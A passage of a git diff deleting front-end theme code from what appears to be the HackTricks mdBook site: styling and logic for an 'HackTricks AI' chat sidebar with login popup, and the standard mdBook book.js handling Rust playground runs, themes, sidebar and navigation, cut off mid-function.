-@media(max-width:768px){#ht-ai-btn{display:none}}
-#ht-ai-tooltip{position:fixed;padding:6px 8px;background:var(--ht-ai-tooltip-bg,#111);color:var(--ht-ai-tooltip-fg,#fff);border-radius:6px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000;box-shadow:0 8px 20px var(--ht-ai-shadow,rgba(0,0,0,.35))}
-#ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)}
-#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:var(--ht-ai-panel-bg,#0b0b0b);color:var(--ht-ai-panel-fg,#fff);display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:var(--body-font,system-ui)}
-#ht-ai-panel.open{transform:translateX(0)}
-@media(max-width:768px){#ht-ai-panel{display:none}}
-#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid var(--ht-ai-border,#333);background:var(--ht-ai-header-bg,transparent);flex-wrap:wrap}
-#ht-ai-header strong{flex-shrink:0}
-#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
-#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:var(--ht-ai-panel-fg,#fff);padding:0}
-#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
-#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:8px;font-size:14px;background:var(--ht-ai-chat-bg,transparent)}
-.ht-msg{max-width:90%;line-height:1.3;padding:8px 10px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word}
-.ht-msg p{margin:0 0 4px}
-.ht-msg p:last-child{margin-bottom:0}
-.ht-msg h1,.ht-msg h2,.ht-msg h3,.ht-msg h4,.ht-msg h5,.ht-msg h6{margin:2px 0 4px;line-height:1.15}
-.ht-msg ul,.ht-msg ol{margin:0 0 4px 14px;padding:0}
-.ht-msg li{margin:0 0 2px}
-.ht-msg pre{margin:4px 0;padding:6px 8px;border-radius:6px;background:rgba(0,0,0,.2);overflow:auto}
-.ht-msg blockquote{margin:2px 0;padding-left:8px;border-left:2px solid rgba(255,255,255,.2)}
-.ht-msg code{font-size:.95em}
-.ht-user{align-self:flex-end;background:var(--ht-ai-user-bg,${BRAND_RED});color:var(--ht-ai-user-fg,#fff)}
-.ht-ai{align-self:flex-start;background:var(--ht-ai-bot-bg,#222);color:var(--ht-ai-bot-fg,#fff)}
-.ht-context{align-self:flex-start;background:var(--ht-ai-context-bg,#333);color:var(--ht-ai-context-fg,#ddd);font-style:italic;font-size:13px}
-#ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid var(--ht-ai-border,#333);background:var(--ht-ai-input-bg,transparent)}
-#ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:8px;border:1px solid var(--ht-ai-border,#333);background:var(--ht-ai-field-bg,#111);color:var(--ht-ai-panel-fg,#fff);font-size:14px}
-#ht-ai-question::placeholder{color:var(--ht-ai-muted,#aaa)}
-#ht-ai-send{padding:0 18px;border:none;border-radius:8px;background:var(--ht-ai-accent,${BRAND_RED});color:var(--ht-ai-accent-fg,#fff);font-size:14px;cursor:pointer}
-#ht-ai-send:disabled{opacity:.5;cursor:not-allowed}
-/* Loader */
-.ht-loading{display:inline-flex;align-items:center;gap:4px}
-.ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out}
-.ht-loading span:nth-child(2){animation-delay:0.2s}
-.ht-loading span:nth-child(3){animation-delay:0.4s}
-@keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} }
-::selection{background:#ffeb3b;color:#000}
-::-moz-selection{background:#ffeb3b;color:#000}
-/* NEW: resizer handle */
-#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:var(--ht-ai-resizer-bg,rgba(255,255,255,.08));border-right:1px solid var(--ht-ai-resizer-border,rgba(255,255,255,.15));transition:background .2s ease}
-#ht-ai-resizer:hover{background:var(--ht-ai-resizer-bg-hover,rgba(255,255,255,.15));border-right:1px solid var(--ht-ai-resizer-border-hover,rgba(255,255,255,.3))}
-#ht-ai-resizer:active{background:var(--ht-ai-resizer-bg-active,rgba(255,255,255,.25))}
-#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:var(--ht-ai-resizer-handle,rgba(255,255,255,.4));border-radius:1px}`;
-    css += `
-#ht-ai-login-overlay{position:fixed;inset:0;display:flex;align-items:center;justify-content:center;background:var(--ht-ai-overlay-bg,rgba(0,0,0,.6));backdrop-filter:blur(6px);z-index:100200}
-#ht-ai-login-card{max-width:420px;width:calc(100% - 32px);padding:20px;border-radius:14px;background:var(--ht-ai-panel-bg,#111);border:1px solid var(--ht-ai-border,rgba(255,255,255,.08));box-shadow:0 12px 28px var(--ht-ai-shadow,rgba(0,0,0,.4));text-align:center;color:var(--ht-ai-panel-fg,#fff);font-family:var(--body-font,system-ui)}
-.ht-ai-login-title{font-size:1.1rem;font-weight:700;margin-bottom:8px}
-.ht-ai-login-text{font-size:.95rem;color:var(--ht-ai-muted,#cfcfcf);margin-bottom:12px}
-.ht-ai-login-link{display:inline-block;margin-bottom:16px;color:var(--ht-ai-accent,#ff6b5b);text-decoration:none;word-break:break-all}
-.ht-ai-login-link:hover{text-decoration:underline}
-.ht-ai-login-close{background:var(--ht-ai-accent,#b31328);color:var(--ht-ai-accent-fg,#fff);border:none;border-radius:8px;padding:8px 14px;cursor:pointer}
-.ht-ai-login-close:hover{opacity:.9}
-`;
-    const s = document.createElement("style");
-    s.id = "ht-ai-style";
-    s.textContent = css;
-    document.head.appendChild(s);
-  }
-
-  /* =================================================================== */
-  function createFloatingButton() {
-    const d = document.createElement("div");
-    d.id = "ht-ai-btn";
-    d.innerHTML = "🤖<span>HackTricksAI</span>";
-    document.body.appendChild(d);
-    return d;
-  }
-  function createTooltip(btn) {
-    const t = document.createElement("div");
-    t.id = "ht-ai-tooltip";
-    t.textContent = TOOLTIP_TEXT;
-    document.body.appendChild(t);
-    btn.addEventListener("mouseenter", () => {
-      const r = btn.getBoundingClientRect();
-      t.style.left = `${r.left + r.width / 2}px`;
-      t.style.top  = `${r.top}px`;
-      t.classList.add("show");
-    });
-    btn.addEventListener("mouseleave", () => t.classList.remove("show"));
-  }
-
-  async function checkAuthStatus() {
-    try {
-      const res = await fetch(AUTH_STATUS_URL, { method: "GET", credentials: "include" });
-      isAuthenticated = res.ok;
-      return isAuthenticated;
-    } catch (e) {
-      isAuthenticated = false;
-      return false;
-    }
-  }
-
-  function setAuthButtonState(btn, ok) {
-    btn.classList.toggle("ht-ai-locked", !ok);
-  }
-
-  async function refreshAuthState(btn) {
-    const ok = await checkAuthStatus();
-    setAuthButtonState(btn, ok);
-    return ok;
-  }
-
-  function showLoginPopup() {
-    if (document.getElementById("ht-ai-login-overlay")) return;
-    const overlay = document.createElement("div");
-    overlay.id = "ht-ai-login-overlay";
-    overlay.innerHTML = `
-      <div id="ht-ai-login-card">
-        <div class="ht-ai-login-title">Sign in required</div>
-        <div class="ht-ai-login-text">
-          To use HackTricks AI, please log in or create a free account on HT Tools and refresh this page.
-        </div>
-        <a class="ht-ai-login-link" href="${LOGIN_URL}" target="_blank" rel="noopener noreferrer">${LOGIN_URL}</a>
-        <button class="ht-ai-login-close" type="button">Close</button>
-      </div>
-    `;
-    overlay.addEventListener("click", (e) => {
-      if (e.target === overlay) overlay.remove();
-    });
-    overlay.querySelector(".ht-ai-login-close").addEventListener("click", () => overlay.remove());
-    document.body.appendChild(overlay);
-  }
-
-  /* =================================================================== */
-  function createSidebar() {
-    const saved = parseInt(localStorage.getItem("htAiWidth") || DEF_W, 10);
-    const width = Math.min(Math.max(saved, MIN_W), MAX_W);
-
-    const p = document.createElement("div");
-    p.id = "ht-ai-panel";
-    p.style.width = width + "px";               // ← applied width
-    p.innerHTML = `
-      <div id="ht-ai-header"><strong>HackTricks AI Chat</strong>
-        <div class="ht-actions">
-          <button id="ht-ai-reset" title="Reset">↺</button>
-          <span id="ht-ai-close" title="Close">✖</span>
-        </div>
-      </div>
-      <div id="ht-ai-chat"></div>
-      <div id="ht-ai-input">
-        <textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
-        <button id="ht-ai-send">Send</button>
-      </div>`;
-    /* NEW: resizer strip */
-    const resizer = document.createElement("div");
-    resizer.id = "ht-ai-resizer";
-    p.appendChild(resizer);
-    document.body.appendChild(p);
-    addResizeLogic(resizer, p);
-    return p;
-  }
-
-  /* ---------------- resize behaviour ---------------- */
-  function addResizeLogic(handle, panel) {
-    let startX, startW, dragging = false;
-
-    const onMove = (e) => {
-      if (!dragging) return;
-      e.preventDefault();
-      const clientX = e.clientX || (e.touches && e.touches[0].clientX);
-      const dx = startX - clientX;           // dragging leftwards ⇒ +dx
-      let newW = startW + dx;
-      newW = Math.min(Math.max(newW, MIN_W), MAX_W);
-      panel.style.width = newW + "px";
-    };
-
-    const onUp = () => {
-      if (!dragging) return;
-      dragging = false;
-      handle.style.background = "";
-      document.body.style.userSelect = "";
-      document.body.style.cursor = "";
-      localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
-      document.removeEventListener("mousemove", onMove);
-      document.removeEventListener("mouseup", onUp);
-      document.removeEventListener("touchmove", onMove);
-      document.removeEventListener("touchend", onUp);
-    };
-
-    const onStart = (e) => {
-      e.preventDefault();
-      dragging = true;
-      startX = e.clientX || (e.touches && e.touches[0].clientX);
-      startW = parseInt(window.getComputedStyle(panel).width, 10);
-      handle.style.background = "rgba(255,255,255,.25)";
-      document.body.style.userSelect = "none";
-      document.body.style.cursor = "ew-resize";
-      
-      document.addEventListener("mousemove", onMove);
-      document.addEventListener("mouseup", onUp);
-      document.addEventListener("touchmove", onMove, { passive: false });
-      document.addEventListener("touchend", onUp);
-    };
-
-    handle.addEventListener("mousedown", onStart);
-    handle.addEventListener("touchstart", onStart, { passive: false });
-  }
-})();
diff --git a/theme/book.js b/theme/book.js
deleted file mode 100644
index c3af5bb34bc..00000000000
--- a/theme/book.js
+++ /dev/null
@@ -1,790 +0,0 @@
-"use strict";
-
-// Fix back button cache problem
-window.onunload = function () { };
-
-// Global variable, shared between modules
-function playground_text(playground, hidden = true) {
-    let code_block = playground.querySelector("code");
-
-    if (window.ace && code_block.classList.contains("editable")) {
-        let editor = window.ace.edit(code_block);
-        return editor.getValue();
-    } else if (hidden) {
-        return code_block.textContent;
-    } else {
-        return code_block.innerText;
-    }
-}
-
-(function codeSnippets() {
-    function fetch_with_timeout(url, options, timeout = 6000) {
-        return Promise.race([
-            fetch(url, options),
-            new Promise((_, reject) => setTimeout(() => reject(new Error('timeout')), timeout))
-        ]);
-    }
-
-    var playgrounds = Array.from(document.querySelectorAll(".playground"));
-    if (playgrounds.length > 0) {
-        fetch_with_timeout("https://play.rust-lang.org/meta/crates", {
-            headers: {
-                'Content-Type': "application/json",
-            },
-            method: 'POST',
-            mode: 'cors',
-        })
-        .then(response => response.json())
-        .then(response => {
-            // get list of crates available in the rust playground
-            let playground_crates = response.crates.map(item => item["id"]);
-            playgrounds.forEach(block => handle_crate_list_update(block, playground_crates));
-        });
-    }
-
-    function handle_crate_list_update(playground_block, playground_crates) {
-        // update the play buttons after receiving the response
-        update_play_button(playground_block, playground_crates);
-
-        // and install on change listener to dynamically update ACE editors
-        if (window.ace) {
-            let code_block = playground_block.querySelector("code");
-            if (code_block.classList.contains("editable")) {
-                let editor = window.ace.edit(code_block);
-                editor.addEventListener("change", function (e) {
-                    update_play_button(playground_block, playground_crates);
-                });
-                // add Ctrl-Enter command to execute rust code
-                editor.commands.addCommand({
-                    name: "run",
-                    bindKey: {
-                        win: "Ctrl-Enter",
-                        mac: "Ctrl-Enter"
-                    },
-                    exec: _editor => run_rust_code(playground_block)
-                });
-            }
-        }
-    }
-
-    // updates the visibility of play button based on `no_run` class and
-    // used crates vs ones available on https://play.rust-lang.org
-    function update_play_button(pre_block, playground_crates) {
-        var play_button = pre_block.querySelector(".play-button");
-
-        // skip if code is `no_run`
-        if (pre_block.querySelector('code').classList.contains("no_run")) {
-            play_button.classList.add("hidden");
-            return;
-        }
-
-        // get list of `extern crate`'s from snippet
-        var txt = playground_text(pre_block);
-        var re = /extern\s+crate\s+([a-zA-Z_0-9]+)\s*;/g;
-        var snippet_crates = [];
-        var item;
-        while (item = re.exec(txt)) {
-            snippet_crates.push(item[1]);
-        }
-
-        // check if all used crates are available on play.rust-lang.org
-        var all_available = snippet_crates.every(function (elem) {
-            return playground_crates.indexOf(elem) > -1;
-        });
-
-        if (all_available) {
-            play_button.classList.remove("hidden");
-        } else {
-            play_button.classList.add("hidden");
-        }
-    }
-
-    function run_rust_code(code_block) {
-        var result_block = code_block.querySelector(".result");
-        if (!result_block) {
-            result_block = document.createElement('code');
-            result_block.className = 'result hljs language-bash';
-
-            code_block.append(result_block);
-        }
-
-        let text = playground_text(code_block);
-        let classes = code_block.querySelector('code').classList;
-        let edition = "2015";
-        if(classes.contains("edition2018")) {
-            edition = "2018";
-        } else if(classes.contains("edition2021")) {
-            edition = "2021";
-        }
-        var params = {
-            version: "stable",
-            optimize: "0",
-            code: text,
-            edition: edition
-        };
-
-        if (text.indexOf("#![feature") !== -1) {
-            params.version = "nightly";
-        }
-
-        result_block.innerText = "Running...";
-
-        fetch_with_timeout("https://play.rust-lang.org/evaluate.json", {
-            headers: {
-                'Content-Type': "application/json",
-            },
-            method: 'POST',
-            mode: 'cors',
-            body: JSON.stringify(params)
-        })
-        .then(response => response.json())
-        .then(response => {
-            if (response.result.trim() === '') {
-                result_block.innerText = "No output";
-                result_block.classList.add("result-no-output");
-            } else {
-                result_block.innerText = response.result;
-                result_block.classList.remove("result-no-output");
-            }
-        })
-        .catch(error => result_block.innerText = "Playground Communication: " + error.message);
-    }
-
-    // Syntax highlighting Configuration
-    hljs.configure({
-        tabReplace: '    ', // 4 spaces
-        languages: [],      // Languages used for auto-detection
-    });
-
-    let code_nodes = Array
-        .from(document.querySelectorAll('code'))
-        // Don't highlight `inline code` blocks in headers.
-        .filter(function (node) {return !node.parentElement.classList.contains("header"); });
-
-    if (window.ace) {
-        // language-rust class needs to be removed for editable
-        // blocks or highlightjs will capture events
-        code_nodes
-            .filter(function (node) {return node.classList.contains("editable"); })
-            .forEach(function (block) { block.classList.remove('language-rust'); });
-
-        code_nodes
-            .filter(function (node) {return !node.classList.contains("editable"); })
-            .forEach(function (block) { hljs.highlightBlock(block); });
-    } else {
-        code_nodes.forEach(function (block) { hljs.highlightBlock(block); });
-    }
-
-    // Adding the hljs class gives code blocks the color css
-    // even if highlighting doesn't apply
-    code_nodes.forEach(function (block) { block.classList.add('hljs'); });
-
-    Array.from(document.querySelectorAll("code.hljs")).forEach(function (block) {
-
-        var lines = Array.from(block.querySelectorAll('.boring'));
-        // If no lines were hidden, return
-        if (!lines.length) { return; }
-        block.classList.add("hide-boring");
-
-        var buttons = document.createElement('div');
-        buttons.className = 'buttons';
-        buttons.innerHTML = "<button class=\"fa fa-eye\" title=\"Show hidden lines\" aria-label=\"Show hidden lines\"></button>";
-
-        // add expand button
-        var pre_block = block.parentNode;
-        pre_block.insertBefore(buttons, pre_block.firstChild);
-
-        pre_block.querySelector('.buttons').addEventListener('click', function (e) {
-            if (e.target.classList.contains('fa-eye')) {
-                e.target.classList.remove('fa-eye');
-                e.target.classList.add('fa-eye-slash');
-                e.target.title = 'Hide lines';
-                e.target.setAttribute('aria-label', e.target.title);
-
-                block.classList.remove('hide-boring');
-            } else if (e.target.classList.contains('fa-eye-slash')) {
-                e.target.classList.remove('fa-eye-slash');
-                e.target.classList.add('fa-eye');
-                e.target.title = 'Show hidden lines';
-                e.target.setAttribute('aria-label', e.target.title);
-
-                block.classList.add('hide-boring');
-            }
-        });
-    });
-
-    if (window.playground_copyable) {
-        Array.from(document.querySelectorAll('pre code')).forEach(function (block) {
-            var pre_block = block.parentNode;
-            if (!pre_block.classList.contains('playground')) {
-                var buttons = pre_block.querySelector(".buttons");
-                if (!buttons) {
-                    buttons = document.createElement('div');
-                    buttons.className = 'buttons';
-                    pre_block.insertBefore(buttons, pre_block.firstChild);
-                }
-
-                var clipButton = document.createElement('button');
-                clipButton.className = 'clip-button';
-                clipButton.title = 'Copy to clipboard';
-                clipButton.setAttribute('aria-label', clipButton.title);
-                clipButton.innerHTML = '<i class=\"tooltiptext\"></i>';
-
-                buttons.insertBefore(clipButton, buttons.firstChild);
-            }
-        });
-    }
-
-    // Process playground code blocks
-    Array.from(document.querySelectorAll(".playground")).forEach(function (pre_block) {
-        // Add play button
-        var buttons = pre_block.querySelector(".buttons");
-        if (!buttons) {
-            buttons = document.createElement('div');
-            buttons.className = 'buttons';
-            pre_block.insertBefore(buttons, pre_block.firstChild);
-        }
-
-        var runCodeButton = document.createElement('button');
-        runCodeButton.className = 'fa fa-play play-button';
-        runCodeButton.hidden = true;
-        runCodeButton.title = 'Run this code';
-        runCodeButton.setAttribute('aria-label', runCodeButton.title);
-
-        buttons.insertBefore(runCodeButton, buttons.firstChild);
-        runCodeButton.addEventListener('click', function (e) {
-            run_rust_code(pre_block);
-        });
-
-        if (window.playground_copyable) {
-            var copyCodeClipboardButton = document.createElement('button');
-            copyCodeClipboardButton.className = 'clip-button';
-            copyCodeClipboardButton.innerHTML = '<i class="tooltiptext"></i>';
-            copyCodeClipboardButton.title = 'Copy to clipboard';
-            copyCodeClipboardButton.setAttribute('aria-label', copyCodeClipboardButton.title);
-
-            buttons.insertBefore(copyCodeClipboardButton, buttons.firstChild);
-        }
-
-        let code_block = pre_block.querySelector("code");
-        if (window.ace && code_block.classList.contains("editable")) {
-            var undoChangesButton = document.createElement('button');
-            undoChangesButton.className = 'fa fa-history reset-button';
-            undoChangesButton.title = 'Undo changes';
-            undoChangesButton.setAttribute('aria-label', undoChangesButton.title);
-
-            buttons.insertBefore(undoChangesButton, buttons.firstChild);
-
-            undoChangesButton.addEventListener('click', function () {
-                let editor = window.ace.edit(code_block);
-                editor.setValue(editor.originalCode);
-                editor.clearSelection();
-            });
-        }
-    });
-})();
-
-(function themes() {
-    var html = document.querySelector('html');
-    // var themeToggleButton = document.getElementById('theme-toggle');
-    var themeBtns = document.getElementById('theme-btns');
-    var themeColorMetaTag = document.querySelector('meta[name="theme-color"]');
-    var themeIds = [];
-    themeBtns.querySelectorAll('button.theme').forEach(function (el) {
-        themeIds.push(el.id);
-    });
-    var stylesheets = {
-        ayuHighlight: document.querySelector("[href$='ayu-highlight.css']"),
-        tomorrowNight: document.querySelector("[href$='tomorrow-night.css']"),
-        highlight: document.querySelector("[href$='highlight.css']"),
-    };
-
-    // function showThemes() {
-    //     themePopup.style.display = 'block';
-    //     themeToggleButton.setAttribute('aria-expanded', true);
-    //     themePopup.querySelector("button#" + get_theme()).focus();
-    // }
-
-    function updateThemeSelected() {
-        themeBtns.querySelectorAll('.theme-selected').forEach(function (el) {
-            el.classList.remove('theme-selected');
-        });
-        themeBtns.querySelector("button#" + get_theme()).classList.add('theme-selected');
-    }
-
-    // function hideThemes() {
-    //     themePopup.style.display = 'none';
-    //     themeToggleButton.setAttribute('aria-expanded', false);
-    //     themeToggleButton.focus();
-    // }
-
-    function get_theme() {
-        var theme;
-        try { theme = localStorage.getItem('mdbook-theme'); } catch (e) { }
-        if (theme === null || theme === undefined || !themeIds.includes(theme)) {
-            return default_theme;
-        } else {
-            return theme;
-        }
-    }
-
-    function set_theme(theme, store = true) {
-        let ace_theme;
-
-        if (theme == 'coal' || theme == 'navy' || theme == 'hacktricks-dark') {
-            stylesheets.ayuHighlight.disabled = true;
-            stylesheets.tomorrowNight.disabled = false;
-            stylesheets.highlight.disabled = true;
-            ace_theme = "ace/theme/tomorrow_night";
-        } else if (theme == 'ayu') {
-            stylesheets.ayuHighlight.disabled = false;
-            stylesheets.tomorrowNight.disabled = true;
-            stylesheets.highlight.disabled = true;
-            ace_theme = "ace/theme/tomorrow_night";
-        } else {
-            stylesheets.ayuHighlight.disabled = true;
-            stylesheets.tomorrowNight.disabled = true;
-            stylesheets.highlight.disabled = false;
-            ace_theme = "ace/theme/dawn";
-        }
-
-        setTimeout(function () {
-            themeColorMetaTag.content = getComputedStyle(document.documentElement).backgroundColor;
-        }, 1);
-
-        if (window.ace && window.editors) {
-            window.editors.forEach(function (editor) {
-                editor.setTheme(ace_theme);
-            });
-        }
-
-        var previousTheme = get_theme();
-
-        if (store) {
-            try { localStorage.setItem('mdbook-theme', theme); } catch (e) { }
-        }
-
-        html.classList.remove(previousTheme);
-        html.classList.add(theme);
-        updateThemeSelected();
-    }
-
-    // Set theme
-    var theme = get_theme();
-
-    set_theme(theme, false);
-
-    // themeToggleButton.addEventListener('click', function () {
-    //     if (themePopup.style.display === 'block') {
-    //         hideThemes();
-    //     } else {
-    //         showThemes();
-    //     }
-    // });
-
-    themeBtns.addEventListener('click', function (e) {
-        var theme;
-        if (e.target.className === "theme") {
-            theme = e.target.id;
-        } else if (e.target.parentElement.className === "theme") {
-            theme = e.target.parentElement.id;
-        } else {
-            return;
-        }
-        if (theme == "default-theme"){
-            theme = default_theme
-        }
-        set_theme(theme);
-    });
-
-    // themePopup.addEventListener('focusout', function(e) {
-    //     // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
-    //     if (!!e.relatedTarget && !themeToggleButton.contains(e.relatedTarget) && !themePopup.contains(e.relatedTarget)) {
-    //         hideThemes();
-    //     }
-    // });
-
-    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
-    // document.addEventListener('click', function(e) {
-    //     if (themePopup.style.display === 'block' && !themeToggleButton.contains(e.target) && !themePopup.contains(e.target)) {
-    //         hideThemes();
-    //     }
-    // });
-
-    // document.addEventListener('keydown', function (e) {
-    //     if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
-    //     if (!themePopup.contains(e.target)) { return; }
-
-    //     switch (e.key) {
-    //         case 'Escape':
-    //             e.preventDefault();
-    //             hideThemes();
-    //             break;
-    //         case 'ArrowUp':
-    //             e.preventDefault();
-    //             var li = document.activeElement.parentElement;
-    //             if (li && li.previousElementSibling) {
-    //                 li.previousElementSibling.querySelector('button').focus();
-    //             }
-    //             break;
-    //         case 'ArrowDown':
-    //             e.preventDefault();
-    //             var li = document.activeElement.parentElement;
-    //             if (li && li.nextElementSibling) {
-    //                 li.nextElementSibling.querySelector('button').focus();
-    //             }
-    //             break;
-    //         case 'Home':
-    //             e.preventDefault();
-    //             themePopup.querySelector('li:first-child button').focus();
-    //             break;
-    //         case 'End':
-    //             e.preventDefault();
-    //             themePopup.querySelector('li:last-child button').focus();
-    //             break;
-    //     }
-    // });
-})();
-
-(function sidebar() {
-    var body = document.querySelector("body");
-    var sidebar = document.getElementById("sidebar");
-    var sidebarLinks = document.querySelectorAll('#sidebar a');
-    var sidebarToggleButton = document.getElementById("sidebar-toggle");
-    // var sidebarResizeHandle = document.getElementById("sidebar-resize-handle");
-    var firstContact = null;
-
-    function showSidebar() {
-        html.classList.remove('sidebar-hidden')
-        html.classList.add('sidebar-visible');
-        body.classList.remove('sidebar-hidden')
-        body.classList.add('sidebar-visible');
-        Array.from(sidebarLinks).forEach(function (link) {
-            link.setAttribute('tabIndex', 0);
-        });
-        sidebarToggleButton.setAttribute('aria-expanded', true);
-        sidebar.setAttribute('aria-hidden', false);
-        try { localStorage.setItem('mdbook-sidebar', 'visible'); } catch (e) { }
-    }
-
-    function hideSidebar() {
-        html.classList.remove('sidebar-visible')
-        html.classList.add('sidebar-hidden');
-        body.classList.remove('sidebar-visible')
-        body.classList.add('sidebar-hidden');
-        Array.from(sidebarLinks).forEach(function (link) {
-            link.setAttribute('tabIndex', -1);
-        });
-        sidebarToggleButton.setAttribute('aria-expanded', false);
-        sidebar.setAttribute('aria-hidden', true);
-        try { localStorage.setItem('mdbook-sidebar', 'hidden'); } catch (e) { }
-    }
-
-    // Toggle sidebar
-    sidebarToggleButton.addEventListener('click', function sidebarToggle() {
-        if (body.classList.contains("sidebar-hidden")) {
-            var current_width = parseInt(
-                document.documentElement.style.getPropertyValue('--sidebar-width'), 10);
-            if (current_width < 150) {
-                document.documentElement.style.setProperty('--sidebar-width', '150px');
-            }
-            showSidebar();
-        } else if (body.classList.contains("sidebar-visible")) {
-            hideSidebar();
-        } else {
-            if (getComputedStyle(sidebar)['transform'] === 'none') {
-                hideSidebar();
-            } else {
-                showSidebar();
-            }
-        }
-    });
-
-    // sidebarResizeHandle.addEventListener('mousedown', initResize, false);
-
-    function initResize(e) {
-        window.addEventListener('mousemove', resize, false);
-        window.addEventListener('mouseup', stopResize, false);
-        body.classList.add('sidebar-resizing');
-    }
-    function resize(e) {
-        var pos = (e.clientX - sidebar.offsetLeft);
-        if (pos < 20) {
-            hideSidebar();
-        } else {
-            if (body.classList.contains("sidebar-hidden")) {
-                showSidebar();
-            }
-            pos = Math.min(pos, window.innerWidth - 100);
-            document.documentElement.style.setProperty('--sidebar-width', pos + 'px');
-        }
-    }
-    //on mouseup remove windows functions mousemove & mouseup
-    function stopResize(e) {
-        body.classList.remove('sidebar-resizing');
-        window.removeEventListener('mousemove', resize, false);
-        window.removeEventListener('mouseup', stopResize, false);
-    }
-
-    document.addEventListener('touchstart', function (e) {
-        firstContact = {
-            x: e.touches[0].clientX,
-            time: Date.now()
-        };
-    }, { passive: true });
-
-    document.addEventListener('touchmove', function (e) {
-        if (!firstContact)
-            return;
-
-        var curX = e.touches[0].clientX;
-        var xDiff = curX - firstContact.x,
-            tDiff = Date.now() - firstContact.time;
-
-        if (tDiff < 250 && Math.abs(xDiff) >= 150) {
-            if (xDiff >= 0 && firstContact.x < Math.min(document.body.clientWidth * 0.25, 300))
-                showSidebar();
-            else if (xDiff < 0 && curX < 300)
-                hideSidebar();
-
-            firstContact = null;
-        }
-    }, { passive: true });
-})();
-
-(function menubarCollapse() {
-    var menubarCollapseToggleButton = document.getElementById('menubar-collapse-toggle');
-    var menubarCollapsePopup = document.getElementById('menubar-collapse-popup');
-
-    function showCollapse() {
-        menubarCollapsePopup.style.display = 'flex';
-        menubarCollapseToggleButton.setAttribute('aria-expanded', true);
-    }
-
-    function hideCollapse() {
-        menubarCollapsePopup.style.display = 'none';
-        menubarCollapseToggleButton.setAttribute('aria-expanded', false);
-        menubarCollapseToggleButton.focus();
-    }
-
-    menubarCollapseToggleButton.addEventListener('click', function () {
-        if (menubarCollapsePopup.style.display === 'flex') {
-            hideCollapse();
-        } else {
-            showCollapse();
-        }
-    });
-
-    menubarCollapsePopup.addEventListener('focusout', function(e) {
-        // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
-        if (!!e.relatedTarget && !menubarCollapseToggleButton.contains(e.relatedTarget) && !menubarCollapsePopup.contains(e.relatedTarget)) {
-            hideCollapse();
-        }
-    });
-
-    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
-    document.addEventListener('click', function(e) {
-        if (menubarCollapsePopup.style.display === 'block' && !menubarCollapseToggleButton.contains(e.target) && !menubarCollapsePopup.contains(e.target)) {
-            hideCollapse();
-        }
-    });
-})();
-
-
-(function menubarLanguage() {
-    var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle');
-    var menubarLanguagePopup = document.getElementById('menubar-languages-popup');
-    var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link');
-
-    function showLanguage() {
-        menubarLanguagePopup.style.display = 'flex';
-        menubarLanguageToggleButton.setAttribute('aria-expanded', true);
-    }
-
-    function hideLanguage() {
-        menubarLanguagePopup.style.display = 'none';
-        menubarLanguageToggleButton.setAttribute('aria-expanded', false);
-        menubarLanguageToggleButton.focus();
-    }
-
-    menubarLanguageToggleButton.addEventListener('click', function () {
-        if (menubarLanguagePopup.style.display === 'flex') {
-            hideLanguage();
-        } else {
-            showLanguage();
-        }
-    });
-
-    menubarLanguagePopup.addEventListener('focusout', function(e) {
-        // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
-        if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) {
-            hideLanguage();
-        }
-    });
-
-    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
-    document.addEventListener('click', function(e) {
-        if (menubarLanguagePopup.style.display === 'flex' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) {
-            hideLanguage();
-        }
-    });
-    
-    languageButtons.forEach((btn) => {
-        btn.addEventListener('click', function(e) {
-            e.preventDefault();
-            const regex = /(?:(?:\/)+(?<lang>[a-z]{2}(?=\/|$)))?(?<path>(?:\/)*.*)?/g
-            var match = regex.exec(window.location.pathname)
-          
-            var path = match.groups.path
-            console.log(`Path: ${path} ${typeof path}`)
-          
-            const lang = match.groups.lang
-            console.log(`Lang: ${lang}`)
-            
-            window.location = `/${e.currentTarget.id}${path}${window.location.hash}`
-        });
-    })
-})();
-
-(function chapterNavigation() {
-    document.addEventListener('keydown', function (e) {
-        if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
-        if (window.search && window.search.hasFocus()) { return; }
-        var html = document.querySelector('html');
-
-        function next() {
-            var nextButton = document.querySelector('.nav-chapters.next');
-            if (nextButton) {
-                window.location.href = nextButton.href;
-            }
-        }
-        function prev() {
-            var previousButton = document.querySelector('.nav-chapters.previous');
-            if (previousButton) {
-                window.location.href = previousButton.href;
-            }
-        }
-        switch (e.key) {
